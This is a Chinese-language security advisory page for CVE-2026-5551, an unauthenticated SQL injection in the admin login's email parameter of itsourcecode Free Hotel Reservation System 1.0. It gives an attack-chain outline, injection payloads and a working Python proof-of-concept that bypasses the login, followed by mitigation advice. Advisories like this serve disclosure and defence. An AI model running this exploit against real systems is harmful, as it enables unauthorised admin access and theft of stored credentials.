IPBUF安全漏洞报告
English
CVE-2026-5551 CVSS 7.3 高危

CVE-2026-5551: Free Hotel Reservation System SQL注入漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2026-5551
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
itsourcecode Free Hotel Reservation System

相关标签

SQL注入itsourcecodeFree Hotel Reservation System高危Web安全无需认证

漏洞概述

itsourcecode Free Hotel Reservation System 1.0版本被发现存在安全漏洞,该漏洞位于/hotel/admin/login.php文件的参数处理组件中。由于未能正确过滤email参数,攻击者可远程发动SQL注入攻击。此漏洞无需用户认证即可利用,目前利用代码已公开,可能导致数据泄露、篡改或系统不可用,风险较高。

技术细节

该漏洞源于应用程序在处理管理员登录请求时,对`email`参数缺乏有效的安全过滤,直接将其拼接到SQL查询语句中。攻击者可以通过向`/hotel/admin/login.php`发送特制的HTTP POST请求,注入恶意的SQL语法(如逻辑判断`' OR '1'='1`或联合查询`UNION SELECT`)。由于CVSS向量显示无需用户交互(UI:N)且无权限要求(PR:N),攻击者可轻易绕过登录验证,提取数据库中的敏感信息(如用户凭证),或者在特定条件下执行数据库写操作,破坏数据的完整性(I:L)和可用性(A:L)。

攻击链分析

STEP 1
侦察
攻击者识别目标的/hotel/admin/login.php入口点,确认其为itsourcecode Free Hotel Reservation System。
STEP 2
武器化
攻击者构造针对email参数的恶意SQL注入Payload(如' OR '1'='1)。
STEP 3
交付
攻击者通过HTTP POST请求将包含恶意Payload的数据发送至服务器。
STEP 4
利用
后端数据库执行恶意SQL语句,导致查询逻辑被改变,返回非预期的结果集。
STEP 5
影响
攻击者成功绕过认证进入后台,或提取敏感数据库信息,造成数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual target) target_url = "http://target-ip/hotel/admin/login.php" # SQL Injection Payload for email parameter # Attempting to bypass authentication or extract data payload_data = { "email": "admin' OR '1'='1' -- ", "password": "random" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) # Check if login was successful or SQL error occurred if response.status_code == 200 and ("dashboard" in response.text.lower() or "admin" in response.text.lower()): print("[+] Potential SQL Injection successful! Login bypassed.") elif "syntax error" in response.text.lower() or "mysql" in response.text.lower(): print("[+] SQL Injection vulnerable. Database error detected.") else: print("[-] Exploit failed or target not vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}")

影响范围

itsourcecode Free Hotel Reservation System 1.0

防御指南

临时缓解措施
在官方补丁发布前,建议在Web服务器或应用层(如PHP代码)中添加输入过滤逻辑,移除email参数中的单引号、双横线等特殊字符。同时,应严格限制管理后台的访问来源IP,仅允许内网或受信任的管理员IP访问/hotel/admin/login.php,以降低被远程攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表